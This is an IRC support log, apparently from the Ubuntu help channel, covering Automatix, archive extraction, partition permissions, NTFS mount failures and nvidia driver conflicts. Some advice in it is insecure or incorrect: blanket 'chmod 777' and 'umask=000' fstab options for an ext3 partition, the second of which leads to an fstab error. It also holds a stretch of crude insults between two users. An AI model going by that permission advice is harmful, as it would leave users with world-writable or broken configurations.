[02:32] <maccam94> it may crash and burn, but hopefully not
[02:32] <jmg> hey all
[02:32] <bruenig> !automatix | TankC
[02:32] <ubotu> TankC: automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[02:32] <Pollywog> TankC how did your system get messed up did you use automatix?
[02:32] <r00tintheb0x> okay bengold
[02:32] <jmg> does anyone know how to configure gdm to not manage one of my 2 displays?
[02:32] <maccam94> TankC, it's an app that does a lot of common tweaks, like installing graphics drivers, codecs, etc
[02:32] <Pollywog> stay away from automatix for now
[02:32] <r00tintheb0x> TankC, its a script to install some useful utilities "not supported by ubuntu"
[02:32] <TankC> I used update-manager -d, like the guide told me to.
[02:32] <bruenig> they aren't all not supported by ubuntu. most of it comes from the ubuntu repositories
[02:32] <main2> cables: you are using edgy!?
[02:33] <bruenig> half of the stuff is apt-gets from repos that are enabled by default anyways
[02:33] <Pollywog> TankC: did you get a busybox prompt when you rebooted?
[02:33] <leafw> any ideas on why USB audio test works fine, but all sound goes to the standard speakers instead of my USB headset ?
[02:33] <Athensman> is xubuntu good for a 366 celeron and 256 ram??
[02:33] <bengold> r00tintheb0x: that site is not working
[02:33] <TankC> Pollywog: no, I was able to enter my 6.10 system but almost everything segfaulted
[02:33] <Pollywog> TankC: k
[02:33] <leafw> the USB headset is detected when plugged ( a msg pops up) and I select sound playback as USB audio ... and only XMMS can play through it, when selecting /dev/dsp1 as input channel
[02:33] <maccam94> yeah, i'm just too lazy to do the stuff all by hand. i do about 1 or 2 ubuntu installs a month now, and automatix helps me keep my sanity ;-)
[02:33] <digi> know the server question ubuntu asks when ytou install it? where is that info stored?
[02:34] <cables> main2, yep
[02:34] <crdlb> Athensman, yes, you could probably run regular ubuntu on that too
[02:34] <maccam94> if i feel like getting my hands dirty i reboot into gentoo
[02:34] <bruenig> maccam94, automatix might be contributing to that
[02:34] <r00tintheb0x> bengold, do this...
[02:34] <maccam94> bruenig, no i mean for other people
[02:34] <Alonea> my friend is building his own computer and was wondering if most video cards work with linux? he was thinking an nvidia geforce 7950 gt.
[02:34] <r00tintheb0x> actually beng
[02:34] <r00tintheb0x> ben g
[02:34] <progek> I have a archive I need to extract in a .7z format. I installed p7zip and try using it-> 7z x file.7z but all it says is (overwrite with file.7z?) it's like creating it again rather than extracting
[02:34] <bruenig> maccam94, if you are doing it that much, you might consider your own script. That is what I am thinking of doing next time I install, Just track all the tweaking I do by dumping it into a very simple script.
[02:34] <Athensman> crdlb can u msg me
[02:34] <Pollywog> most nvidias will work in Linux, ATI is another story
[02:35] <r00tintheb0x> bengold, do you see anything like this
[02:35] <r00tintheb0x> 66.31.157.123
[02:35] <r00tintheb0x> oops
[02:35] <cables> !register | Athensman
[02:35] <r00tintheb0x> [17179579.260000]  sd 0:0:0:0: Attached scsi disk sda
[02:35] <r00tintheb0x> ?
[02:35] <ubotu> Athensman: Information about registering your Freenode nick is at http://freenode.net/faq.shtml#contents-userregistration
[02:35] <KalleDK> Hey is there a key-shortcut to the terminal :)
[02:35] <progek> anyone know how I can extract .7z ?
[02:35] <bruenig> KalleDK, you can set one in preferences>keyboard shorcuts
[02:35] <cables> KalleDK, you can make one... System>Preferences>Keyboard Shortcuts
[02:35] <con-man> how do I recompile my kernel?
[02:35] <bruenig> !7z
[02:35] <GekiBlue> Hey all... I just installed Ubuntu 6.10, and I had to go into safe graphics mode because it was giving me an 'Out of Scan range" box... Now the install is doing the same thing. Is there anything I can do to fix that?
[02:35] <ubotu> Files with extensions .tar, .gz, .tgz, .zip, .bz2, .7z, .ace and other archive file formats can be opened with file-roller (GNOME) or Ark (KDE) - Also see https://help.ubuntu.com/community/FileCompression
[02:35] <KalleDK> Thx
[02:35] <bengold> yes
[02:35] <r00tintheb0x> good
[02:35] <bruenig> progek, install p7zip
[02:35] <arrenlex> !kernel | con-man
[02:35] <ubotu> con-man: kernel is the core of the Ubuntu Operating System (named 'Linux') - see https://help.ubuntu.com/community/Kernel.  You shouldn't have to compile one, but if you're convinced you do, see https://wiki.ubuntu.com/KernelCustomBuild
[02:35] <r00tintheb0x> now type this bengold "fdisk /dev/sda"
[02:35] <Athensman> is xubuntu good for a 366 celeron and 256 ram?? and will it run better than win98
[02:36] <con-man> GekiBlue: Turn your monitor from analog to digital?
[02:36] <wrox> KalleDK: on m$ natural 4000 keyb. it's the "Search" button:) in gnome
[02:36] <lufis> I'm having trouble getting two ext3 partitions to allow read/write. Permissions are borked for some reason, I guess because I added them after the installation. Is there an automatic way to re-create fstab?
[02:36] <bruenig> Athensman, xubuntu would be good for that
[02:36] <con-man> GekiBlue: sorry the other way around
[02:36] <progek> bruenig, I did but im having problems with it, I am trying 7z x file.7z but it just wants to recreate the file
[02:36] <levmatta> how would I move my /boot particion to /? what steps do I need to do?
[02:36] <GekiBlue> con-man: I have no idea
[02:36] <lufis> levmatta: why would you want to?
[02:36] <bruenig> progek, 7zr e whatever.7z
[02:36] <bengold> r00tintheb0x: unable to open
[02:36] <maccam94> bruenig, the thing is that i need something point and click that my boss can handle too (work at a comp repair shop). he's still getting used to ubuntu, and doesn't remember much about the command line. I don't have the time to really make a decent script myself anyway :-\
[02:36] <greig_> bruenig : what is the command to unmount my c drive?
[02:37] <bruenig> greig_, sudo umount /dev/hda5
[02:37] <levmatta> simplify me hd, I currently have up to hda8 in my hd0
[02:37] <greig_> bruenig : thanks
[02:37] <bruenig> greig_, remember though that you aren't going to be able to resize hda4 except in live cd
[02:37] <r00tintheb0x> you're sure you saw [17179579.260000]  sd 0:0:0:0: Attached scsi disk sda bengold
[02:37] <levmatta> I am also mad because it serves no purpose
[02:37] <r00tintheb0x> or was it sdb or sdc
[02:37] <progek> thanks, it says it's not a supported archive. strange.
[02:38] <bruenig> progek, maybe that file is messed up
[02:38] <progek> ok thanks
[02:38] <bengold> nope sda
[02:38] <r00tintheb0x> hmm, okay...
[02:38] <lufis> I'm having trouble getting two ext3 partitions to allow read/write. Permissions are borked for some reason, I guess because I added them after the installation. fstab is here: http://paste.ubuntu-nl.org/11788/
[02:38] <bengold> r00tintheb0x: thanks for your help, but i have to go
[02:38] <r00tintheb0x> dmesg |grep hda
[02:38] <bruenig> lufis, you just change the permissions via chmod
[02:39] <r00tintheb0x> ok bengold good luck
[02:39] <bruenig> lufis, so mount them and chmod away
[02:39] <lufis> bruenig: for entire partitions??
[02:39] <bruenig> lufis, or for particular files
[02:39] <r00tintheb0x> next!
[02:39] <lufis> bruenig: well, the two partitions i can't write to are empty
[02:39] <bruenig> lufis, if you want some of the files on the partitions to be read write and some not to be, then do whatever
[02:39] <greig_> bruenig hda2 is where my c: is was that what u ment, not 5?
[02:39] <bruenig> lufis, well mount them and chmod recursively on the mount point
[02:40] <maccam94> 5 min till feisty packages are done d/lling ^_^ :-\
[02:40] <bruenig> greig_, the 5th partition, the one after hda4
[02:40] <orange1> http://www.youtube.com/watch?v=ZD7QraljRfM   <-- can someone tell me what configuration this guy is using for beryl
[02:40] <lufis> bruenig: okay, i'll try
[02:40] <r00tintheb0x> orange1, its a "skin" off beryls website.
[02:40] <r00tintheb0x> not sure what its called though
[02:40] <maccam94> theme?
[02:41] <lufis> bruenig: sudo chmod +rwx -R   right?
[02:41] <r00tintheb0x> yes maccam94
[02:41] <bruenig> lufis, yeah or chmod 777 -R
[02:41] <r00tintheb0x> lufis dont do that.
[02:41] <r00tintheb0x> no no no
[02:41] <r00tintheb0x>  no no no
[02:41] <lufis> r00tintheb0x: :(
[02:41] <r00tintheb0x> do NOT 777 it!!!
[02:41] <bruenig> r00tintheb0x, it is an empty partition calm down
[02:41] <lufis> :(
[02:41] <r00tintheb0x> that Is NOT the answer to permissions problems.
[02:41] <r00tintheb0x> lolo
[02:41] <alvarotc> como configuro placawifi en laportatil con gnome?
[02:41] <lufis> :(
[02:41] <r00tintheb0x> Lufis.
[02:42] <maccam94> as i recall, emerald has a feature to d/l  themes from svn repositories
[02:42] <alvarotc> es unaacer
[02:42] <r00tintheb0x> what are you trying to modify the permissions of.
[02:42] <alvarotc> la portatil
[02:42] <bruenig> r00tintheb0x, you probably only need 666 unless you want to have everything be executable
[02:42] <leafw> .quit
[02:42] <orange1> r00tintheb0x: u mean theme?
[02:42] <bruenig> lufis not r00tintheb0x sorry
[02:42] <r00tintheb0x> yes orange1
[02:42] <levmatta> orange1: I could not find the efect to burn the window, everything else is standart. just find the right skin
[02:42] <wolki> hi
[02:42] <maccam94> yay d/llingi s done
[02:42] <orange1> r00tintheb0x: all the themes in emerald just change the window titlebar decoration
[02:42] <r00tintheb0x> lufis, all files (normaly) should be 644
[02:42] <r00tintheb0x> all directories 755
[02:42] <lufis> r00tintheb0x: I have two ext3 partitions that i created post-install.... They're mounted and recognized, but Ican't read/write
[02:42] <r00tintheb0x> if you need a user to be able to read or write to a file.
[02:42] <KnightEdge> hello
[02:42] <lufis> r00tintheb0x: both are empty
[02:42] <r00tintheb0x> add them to the correct group.
[02:43] <r00tintheb0x> or change ownership
[02:43] <greig_> bruenig : can i sent u a screenshot for u to look at to make sure what im about to do will be on the correct drive?
[02:43] <levmatta> by all, and thanks
[02:43] <lufis> r00tintheb0x: ...how?
[02:43] <r00tintheb0x> lufis...
[02:43] <r00tintheb0x> Did you create with gpartd?
[02:43] <bruenig> I never understood why directories were always allowed to be executable
[02:43] <r00tintheb0x> or whatever that thing is?
[02:43] <lufis> r00tintheb0x: yes
[02:43] <w1r3h3ad> ?
[02:43] <arrenlex> bruenig: Executable for directories means you can cd into them.
[02:43] <GekiBlue> Is there any way to access my hard drive installation from the live CD?
[02:43] <r00tintheb0x> cause you have to execute the directory to CD to it bruenig
[02:43] <r00tintheb0x> lufis, did it add an entry to /etc/fstab?
[02:43] <lufis> GekiBlue: yes, you have to mount it manually i think
[02:44] <tehquickness> Is it possible to create a bash script that will install multiple printers at once onto users machines?
[02:44] <jsvoyager_> can anyone here help me instal onto a RAID 5.  I'm using the ICH8 chipset to do it, which I read is a "fakeraid"
[02:44] <lufis> r00tintheb0x: i have no idea... they're mounted, so i assume so
[02:44] <r00tintheb0x> lufis, this is how i have my drive mounted.
[02:44] <Jakob> does anyone else have problems with firefox crashing and know how to fix it?
[02:44] <r00tintheb0x> /dev/hdb1       /media/slave    ext3    defaults,errors=remount-ro      0       1
[02:44] <w1r3h3ad> q
[02:44] <wolki> i've got a question... is it possible to start an application (in this case, azureus) with the first user that logs in, no matter what user it is, with a certain user's profile (in this case, the one who has the torrents queued), and only once?
[02:44] <bruenig> greig_, no you are right I scrolled up, it goes hda 1,5,6,4,2,3
[02:44] <PriceChild> tehquickness, easy :)
[02:44] <Jakob> it seems to have something to do with flash player and alsa
[02:44] <GekiBlue> lufis: Thanks :3
[02:44] <bruenig> r00tintheb0x, oh that makes sense
[02:44] <PriceChild> tehquickness, sudo mkdir /mount/foo
[02:44] <greig_> bruenig may i send u the screenshot just to be safe please?
[02:44] <Jakob> but i cant figure it out
[02:44] <Loof> Just to verify... is it 'safe' to do an in-place update from edgy -> feisty by just changing the repo?
[02:44] <ardchoille> bruenig: Well a directory is just a special type of file and if a dir were 644 you wouldn't be able to get into it.
[02:44] <daobhaidh> anyone have a tip as to why i have after reboot i have to do rmmod nvidia && modprobe nvidia && gdm restart before x server will start?
[02:44] <bruenig> greig_, if you want to
[02:44] <PriceChild> tehquickness, sudo mount /dev/<something> /media/foo
[02:44] <greig_> bruenig ty
[02:45] <tehquickness> Price Child, how do you tell it which driver to use for which printer?
[02:45] <GekiBlue> lufis: I have no idea how to do that :(
[02:45] <PriceChild> tehquickness, replace <something> with hda1,  or sda1, or hda2 etc.... whichever is appropriate
[02:45] <KnightEdge> can someone help me?
[02:45] <lufis> GekiBlue: :(
[02:45] <PriceChild> tehquickness, whoops.... wrong person
[02:45] <tehquickness> PriceChild, haha thats ok
[02:45] <PriceChild> GekiBlue, please read all my messages above to tehquickness
[02:46] <sum0> KnightEdge, don't ask to ask, just ask...
[02:46] <GekiBlue> PriceChild: Okay :O
[02:46] <wolki> probably some autostart and sudo tricks... would be cool if it was possible
[02:46] <r00tintheb0x> lufis
[02:46] <KnightEdge> I want to install the chipset drivers on ubuntu edgy?
[02:46] <greig_> bruenig : i believe i sent it?
[02:46] <r00tintheb0x> try it with these options  -o iocharset=utf8,umask=000
[02:46] <digi> know the server question ubuntu asks when you install it? where is that info stored?
[02:46] <bruenig> greig_, nothing here
[02:46] <lufis> r00tintheb0x: what,baby?
[02:46] <sum0> KnightEdge, chipset for what?
[02:46] <r00tintheb0x> baby? lol
[02:46] <bruenig> greig_, I know what you said I see it above
[02:46] <wolki> alternatively, a torrent client that runs as a system service, I'm ot married to azureus
[02:46] <r00tintheb0x> uuh.
[02:46] <lufis> r00tintheb0x: :P
[02:47] <KnightEdge> nforce2
[02:47] <r00tintheb0x> :P
[02:47] <r00tintheb0x> try editing FSTAB and adding the mount point
[02:47] <r00tintheb0x> do you know how to do that?
[02:47] <KnightEdge> I have an Abit NF7-S2g
[02:47] <lufis> r00tintheb0x: um yah, what do you take me for? a n00b?
[02:47] <r00tintheb0x> you never know :D
[02:47] <bruenig> umask=000 is no different than chmod 777ing it
[02:48] <lufis> r00tintheb0x: lol... they're all mounted. The problem is, i can't access the drives
[02:48] <r00tintheb0x> i know
[02:48] <r00tintheb0x> lol
[02:48] <greig_> bruenig ok so i'll go with hda2, wish me luck, Thanks alot for all this m8
[02:48] <r00tintheb0x> i told you to try mounting it VIA FSTAB w/ these options
[02:48] <r00tintheb0x> " -o iocharset=utf8,umask=000"
[02:48] <bruenig> just mount it with defaults and set the permissions as you go
[02:48] <lufis> r00tintheb0x: ok... thanks
[02:49] <sum0> KnightEdge: you want nvidia binary drivers on edgy?
[02:49] <r00tintheb0x> no problem
[02:49] <KnightEdge> yeah
[02:49] <clearzen> r00tintheb0x: how is umask=000 better than 777 permissions. It's the same thing
[02:49] <r00tintheb0x> cause you're not editing individual files.
[02:49] <KnightEdge> I downloaded the drivers from the nvidia web site
[02:49] <r00tintheb0x> you're editing the way the partition works.
[02:49] <kalle_> Is this an important flaw to get fixed ?? libGL warning: 3D driver claims to not support visual 0x4b
[02:49] <bruenig> do you only need to put three 0's, I have always put four 0's
[02:49] <clearzen> r00tintheb0x: I see
[02:49] <bruenig> or four spaces
[02:49] <r00tintheb0x> you're changing partition wite attributes, not individual files.
[02:50] <clearzen> i always used 022
[02:50] <KnightEdge> I dont know if they are the lastest one, they say january 7 2007
[02:50] <eternaljoy> when edgy used to load, i always saw my 2 NTFS partitions on the desktop and was able to access them. But now all of a sudden I cant see them and cant access my 2 NTFS partitions.  Can someone help me with that please?
[02:50] <r00tintheb0x> clearzen, if you chmod -R 777 /mount/point
[02:50] <spiderworm> hi all, why the heck are the nvidia driver and wireless drivers all lumped into the same linux-restricted-modules package??!
[02:50] <bruenig> r00tintheb0x, wouldn't it be better to mount as defaults especially since he doesn't even have anything in there and set permissions as he goes
[02:50] <wolki> noone has an idea? thanks anyway.
[02:50] <r00tintheb0x> and /mount/point/file belongs to a program that demands it be 644
[02:50] <r00tintheb0x> you've got a problem.
[02:50] <daobhaidh> argh... stupid question, key sequence to exit man?
[02:50] <r00tintheb0x> bruenig, read up
[02:50] <bruenig> it is ext3 after all, not like you are dealing with ntfs or vfat
[02:50] <lufis> r00tintheb0x: defaults,-o iocharset=utf8,umask=000   right?
[02:51] <gvc> I also cannot load drivers for a NVIDIA nForce2 IGP / MCP
[02:51] <clearzen> r00tintheb0x: Cool, I didn't know that
[02:51] <r00tintheb0x> yes that should work lufis
[02:51] <spiderworm> i want to use the drivers from the nvidia website as well as the drivers for my wireless card
[02:51] <r00tintheb0x> yea clearzen
[02:51] <spiderworm> am i sol?
[02:51] <lufis> r00tintheb0x: thanks. how about i buy you a drink?
[02:51] <r00tintheb0x> for security reasons, some programs require strict permissions.
[02:51] <r00tintheb0x> im good lufis thanks thoug
[02:51] <r00tintheb0x> h
[02:51] <eternaljoy> bruenig: any ideas pls?
[02:51] <r00tintheb0x> im not gay
[02:51] <r00tintheb0x> :D
[02:51] <lufis> r00tintheb0x: pfft
[02:51] <Poul^Laptop> yoy- anyone who have been working with webcams and such. I havent been able to find any appliction for linux wich make me able to record anything good compaired to logitecs own application on windows OS
[02:51] <bruenig> eternaljoy, pastebin /etc/fstab
[02:52] <r00tintheb0x> if you're female lufis then i accept :D
[02:52] <eternaljoy> bruenig: ok
[02:52] <lufis> I'm not gay either, but my boyfriend is
[02:52] <sum0> KnightEdge, how far have you gotten?  have you tried running the installer yet?
[02:52] <eternaljoy> !pastebin
[02:52] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[02:52] <ziro01> you tell me
[02:52] <KnightEdge> it is a zip file
[02:52] <sum0> KnightEdge, have you unzipped it?
[02:52] <KnightEdge> and I see packages for various linux distros
[02:52] <ardchoille> r00tintheb0x: Why does chmod even have a "-R' option since "chmod -R 640 dir" (to hit all files too) will lock you out of all subdirs?
[02:53] <eternaljoy> bruenig: http://paste.ubuntu-nl.org/11790/
[02:53] <lufis> hey r00t in the taco, i get this error now:  line 8 in /etc/fstab is bad
[02:53] <r00tintheb0x> ardchoille, not if you're root ;)
[02:53] <KnightEdge> like fedora5 and a bunch of red hat packages
[02:53] <KnightEdge> but no ubuntu
[02:53] <ardchoille> r00tintheb0x: Ah, true
[02:53] <r00tintheb0x> :)
[02:53] <spiderworm> anyone... is there a way to install linux-restricted-modules without the nvidia modules?!
[02:53] <eternaljoy> bruenig: I havent chantged fstab. and it was showing my 2 partitions before today.  the only thing I did today was an upgdate and upgrade
[02:53] <r00tintheb0x> Usually anyone CHMODing know's what they're doing with the #'s
[02:53] <bruenig> eternaljoy, and there is nothing in /media/hda4
[02:53] <r00tintheb0x> spiderworm, what do you mean.
[02:53] <lufis> r00tintheb0x: i get this error now:  line 8 in /etc/fstab is bad
[02:53] <bruenig> eternaljoy, and there is nothing in /media/sda4
[02:54] <ardchoille> r00tintheb0x: That isn't always so
[02:54] <KalleDK> Any know a goof place too look for programs.. Like I used to use this (in windows) now I should use that
[02:54] <bruenig> eternaljoy, or sda3
[02:54] <r00tintheb0x> lufis paste me your fstab on http://pastebin.ca
[02:54] <eternaljoy> bruenig: it used to show sda3
[02:54] <r00tintheb0x> ardchoille, what do you mean.
[02:54] <eternaljoy> bruenig: whats changed my fstab?
[02:54] <spiderworm> r00tintheb0x: linux-restricted-modules bundles an old nvidia driver in with the wireless drivers
[02:54] <lufis> r00tintheb0x: oh la la,well if you say so ;)
[02:54] <lufis> r00tintheb0x: http://paste.ubuntu-nl.org/11788/
[02:54] <spiderworm> r00tintheb0x: i want to install the wireless drivers without overwriting my own nvidia driver install
[02:54] <bruenig> eternaljoy, does /media/sda3 and /media/sda4 have the partitions mounted in them
[02:54] <GekiBlue> Can I reconfigure xorg on my hard drive install now that I have the drive mounted?
[02:54] <eternaljoy> bruenig: they always loaded before today
[02:54] <r00tintheb0x> aah spiderworm
[02:54] <ardchoille> r00tintheb0x: newbies learning and experimenting can make mistakes that lock them out of subdirs and then they don't know why or how to fix it.
[02:55] <r00tintheb0x> spiderworm, i'd suggues you compile it from scratc
[02:55] <lufis> KalleDK: Applications > add/remove
[02:55] <r00tintheb0x> or use NDISWrapper
[02:55] <bruenig> eternaljoy, does /media/sda3 and /media/sda4 have the partitions mounted in them
[02:55] <r00tintheb0x> you may be able to put an exception in apt somewhere.
[02:55] <r00tintheb0x> brb
[02:55] <spiderworm> r00tintheb0x: yes, i did that... then i installed linux-restricted-modules to get wifi working, and now X no bootie
[02:55] <r00tintheb0x> phone
[02:55] <bruenig> eternaljoy, I am trying to figure out if maybe for some reason the gui stopped putting the icons on the desktop or if your drives aren't mounting, so look in /media/sda3 and /media/sda4 and see if they are there
[02:55] <eternaljoy> bruenig: according to the date stamp!  fstab hasnt been alteered since March 17.  And it was showing my 2 NTFS partitions until today
[02:56] <eternaljoy> bruenig: the fstab is the same as before when it was working
[02:56] <bruenig> eternaljoy, I am trying to figure out if maybe for some reason the gui stopped putting the icons on the desktop or if your drives aren't mounting, so look in /media/sda3 and /media/sda4 and see if they are there
[02:56] <CoRnJuLiOx> ok, i've just compiled the kernel and i've got this file called vmlinux. where does it go?
[02:56] <gop> !beryl
[02:56] <lufis> r00tintheb0x: gimme your number
[02:56] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[02:57] <theherbalizer> anyone know if quake 3 for linux is free yet?
[02:57] <eternaljoy> bruenig: they are in media folder, but when I click on them, no files are showing/
[02:57] <bruenig> eternaljoy, ok
[02:57] <eternaljoy> bruenig: this is very weird as it wwas working fine until today
[02:57] <theherbalizer> furthermore, compiz vs. beryl, suggestions?
[02:57] <NessTizma> Quick question for you guys. I have an older computer with an integrated video card. However, I installed a separate PCI video card later. Unfortunately, Ubuntu 6.10's install/live CD only detects the integrated one, and it freezes up X before it can do anything. I know the "Indentifier" and "BusID" fields that correspond to the card I want to use. Is there any way I can NOT boot up Ubuntu to install it so I can make these
[02:57] <NessTizma> changes to xorg.conf?
[02:57] <eternaljoy> bruenig: any solutions you know about?
[02:57] <lufis> r00tintheb0x: come on dude, i've got free nights and weeekends
[02:57] <Fossilet> What will be the next development version of ubuntu?
[02:58] <Fossilet> What's the name, anyone knows?
[02:58] <bruenig> eternaljoy, well I have never dealt with ntfs-3g however it looks fine other than that, do "sudo mount /dev/sda3" and see if it shows up in /media/sda3 like it should
[02:58] <MasterX> buenas
[02:58] <eternaljoy>  bruenig Failed to mount '/dev/disk/by-uuid/2DF787246A14421B': Operation not supported Mount is denied because NTFS logfile is unclean.
[02:58] <Athensman> is xubuntu good for a 366 celeron and 256 ram??
[02:59] <theherbalizer> NessTizma: have you tried editing it from a livecd?
[02:59] <theherbalizer> Athensman: try fluxbuntu
[02:59] <theherbalizer> Athensman: not sure on the spelling
[02:59] <hobbes487> can someone help me with a problem installing ubuntu?  when I select boot or install from the menu, it hangs on 'Booting the kernel'
[02:59] <spiderworm> r00tintheb0x: back yet?
[02:59] <eternaljoy> bruenig: MS vista didnt shut down properly last time, thats it!  im going to boot it again and shut it down
[02:59] <eternaljoy> brb
[02:59] <theherbalizer> hobbes487: unplug anything usb
[02:59] <eternaljoy> bruenig: then ubuntu should load them
[02:59] <bruenig> eternaljoy, never dealt with that error before. Looks like that is your problem though. I heard ntfs-3g was experimental and shouldn't be used to write to ntfs unless absolutely needed maybe it hosed your drive
[02:59] <lufis> r00tintheb0x: who is spiderworm? who is it?! i thought you was MY man. WHO IS THAT?
[02:59] <hobbes487> theherbalizer: thats it?
[02:59] <eternaljoy> bruenig: that command gave me the reason, thanks :)
[03:00] <bruenig> eternaljoy, ok that would make sense
[03:00] <theherbalizer> hobbes487: worked for me
[03:00] <hobbes487> theherbalizer: sweet
[03:00] <spiderworm> lufis: step down honey, the boy can make his own decisions
[03:00] <eternaljoy> bruenig: nothing hosed anything!  last time I loaded MS windows, it froze and didnt shut down properly
[03:00] <glick> hi
[03:00] <lufis> spiderworm: i will yank that nappy weave out yo nasty head
[03:00] <eternaljoy> brb
[03:00] <theherbalizer> lufis: lol
[03:00] <bruenig> eternaljoy, and therefore the logfile is corrupted got you
[03:01] <NessTizma> theherbalizer, can I? I can't even do anything when it boots from the Live CD because it freezes up at X.
[03:01] <NessTizma> So I don't get a chance to do anything.
[03:01] <glick> hey im trying to build a kernel, how can i get the config of my current kernel for the kernel i want to build?
[03:01] <NessTizma> Is there a way I can boot to a command-line only?
[03:01] <spiderworm> lufis: oh no u dinnint! u best step down befor i bitchslap u back to the stone age
[03:01] <bruenig> !alternate | NessTizma
[03:01] <ubotu> NessTizma: The Alternate CD (available as of Dapper) is the classical text-mode installation CD. Use it if you wish to upgrade via CD, or for an "expert" mode install. For normal installs, use the Desktop CD, which is also a "Live" CD.
[03:01] <lufis> spiderworm: OH it's ON now
[03:01] <NessTizma> Ah. Shoot! I used my last CD-R! Ha ha.
[03:02] <NessTizma> Guess I'm screwed.
[03:02] <NessTizma> :)
[03:02] <lufis> spiderworm: youwannatake this outside?!?!
[03:02] <theherbalizer> NessTizma: have you tried getting to any kind of command line?
[03:02] <bruenig> NessTizma, go drop those forty cents and getone
[03:02] <ardchoille> spiderworm: Be respectful please.
[03:02] <bruenig> get one*
[03:02] <spiderworm> lufis: psh what u gonna take besides yo fat ass that u cannot get out the door!
[03:02] <theherbalizer> NessTizma: you'll have to work in term, using nano and such, but that /should/ work
[03:02] <progek> anyone ever use lxdoom? I installed it and placed my wad files in /usr/share/games just like the website instructs. When I try to launch lxdoom it says IWAD not found.
[03:02] <spiderworm> ardchoille: we're just playin around :D
[03:02] <lufis> spiderworm: escuse me?! my fat ass? my FAT ASS? YO MAMA BITCH!
[03:02] <ardchoille> spiderworm: This is not the channel for that.
[03:02] <NessTizma> theherbalizer, I've tried, but before I can do anything, it freezes because it's trying to load up X in another tty.
[03:03] <w1r3h3ad> anyone use ubuntu for ppc?
[03:03] <spiderworm> lufis: ok we better stop
[03:03] <lufis> spiderworm: rofl, yes...
[03:03] <bruenig> w1r3h3ad, no, nobody
[03:03] <NessTizma> bruenig, yeah for real. It's just the pain of having to LEAVE my place to get some more CD-Rs. Ha ha.
[03:03] <theherbalizer> NessTizma: damn.
[03:03] <spiderworm> ardchoille: i figure that since no one could tell me how to install linux-restricted-modules without the nvidia stuff i might as well have some fun
[03:03] <ardchoille> lol
[03:03] <theherbalizer> NessTizma: like someone else suggested, go with a server/alternate cd
[03:03] <NessTizma> theherbalizer, yeah, it sucks. I wish I could just destroy that damn integrated card so it isn't detected at all.
[03:03] <theherbalizer> NessTizma: no X
[03:03] <w1r3h3ad> my mac os crapped out so i'm running ubuntu ppc on it
[03:03] <theherbalizer> NessTizma: kill it in bios
[03:04] <sarixe> I'm running a vnc server from my ubuntu machine, yet i find it's very restrictive in terms of configuration.  it's the default GNOME vino server, and it's way too simplistic for me.  is there a better server out there?
[03:04] <theherbalizer> NessTizma: oh lol i should have thought of that earlier
[03:04] <bruenig> it doesn't matter, you can install from the command line from the desktop cd
[03:04] <NessTizma> theherbalizer, I don't think there's an option. The BIOS is pretty crappy. :-\
[03:04] <w1r3h3ad> works all right, not as well as i386
[03:04] <theherbalizer> NessTizma: know what kind of mobo you have?
[03:04] <NessTizma> theherbalizer, I think I've messed around with the BIOS before to disable the card.
[03:04] <blameless> sarixe: restrictive how in configuration?
[03:04] <sarixe> i can't configure half the stuff i can in windows' tightvnc
[03:04] <bruenig> sarixe, gnome is too simplistic and restrictive, really I can't imagine that ;P
[03:05] <blameless> sarixe: well, then why not use tightvnc for linux?
[03:05] <sarixe> o
[03:05] <sarixe> true
[03:05] <sarixe> but
[03:05] <bruenig> !enter
[03:05] <ubotu> Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[03:05] <theherbalizer> bruenig: gnome is whaaa?
[03:05] <sarixe> i have to be able to _configure_ it remotely...
[03:05] <theherbalizer> bruenig: are you a fluxbox man?
[03:05] <NessTizma> theherbalizer, PhoenixBIOS. It's pretty old.
[03:05] <bruenig> xfce, fluxbox if I weren't so lazy
[03:05] <sarixe> i'm connected through my vnc client right now...
[03:05] <blameless> sarixe: well, ssh in and configure it?
[03:06] <sarixe> i'm not experienced in ssh.  how does that work?
[03:06] <theherbalizer> NessTizma: tried flashing/updating it?
[03:06] <sarixe> is it like vnc for consoles?
[03:06] <billy> Greetings.
[03:06] <NessTizma> theherbalizer, nah, I should look into that.
[03:06] <blameless> sarixe: essentially yes, with a little more features
[03:06] <theherbalizer> NessTizma: it might help.
[03:06] <blameless> sarixe: if i vnc, i tunnel it over ssh to encrypt it
[03:06] <eternaljoy>  bruenig yep! that fixed it.  I had to boot MS widnows, and close it properly.  then now Ubuntu shows the partitions.  Thanks for the mount command because if I didnt do that I would never have know,  the mount command gave me an idea thats whats happened to the NTFS partition
[03:06] <sarixe> ok, so how does it work?  does it transport text from the tty's?
[03:06] <eternaljoy> bill_: hello
[03:06] <eternaljoy> billy: hello there :)
[03:07] <spiderworm> problem: want to have own nvidia driver install using the latest drivers from the nvidia site, but also have the linux-restricted-modules package installed so that wireless card has drivers.... solution: ___________________________________________________________________________________ (please fill in the blank)
[03:07] <blameless> sarixe: and encrypts it
[03:07] <sarixe> or does it depend on someone being logged in?
[03:07] <blameless> sarixe: i'm ircing over ssh at the moment
[03:07] <bruenig> wow that is obnoxious
[03:07] <billy> hi eternaljoy.  seems i'm the one in the fix now.
[03:07] <eternaljoy> billy: something weird happened.  now every single time I boot Ubuntu, sound works
[03:07] <bruenig> I can't even bring myself to read the question
[03:07] <blameless> sarixe: no, it would be a new login
[03:07] <sarixe> blameless: so it would create its own tty?
[03:07] <eternaljoy> billy: so mayne something you and I did, helped that to happen. :) so thanks :)
[03:07] <blameless> sarixe: usually yes
[03:07] <blameless> sarixe: a pseudo-tty
[03:07] <sarixe> what do i do to get it up and running?
[03:08] <billy> eternaljoy:  it was probably just an initial install bug or something.  glad it's worked out for you.  ALSA wasn't even installed, so what we did ~may~ have helped.
[03:08] <theherbalizer> anyone know why having usb devices plugged it at boot would completely halt boot?
[03:08] <trev_> i have a .mdf file that is 668mb but when i run mdf2iso it only outputs a corrupted 580mb iso image, does anyone know how to fix thix?
[03:08] <blameless> sarixe: apt-get install openssh-server i believe
[03:08] <eternaljoy> billy: it was annyoing havint to boot Ubuntu 2-3 times to get sound., but that doesnt happen anymore
[03:08] <sarixe> ok
[03:08] <r00tintheb0x> theherbalizer, no they shouldn't... unless GRUB is getting confused that its bootable.
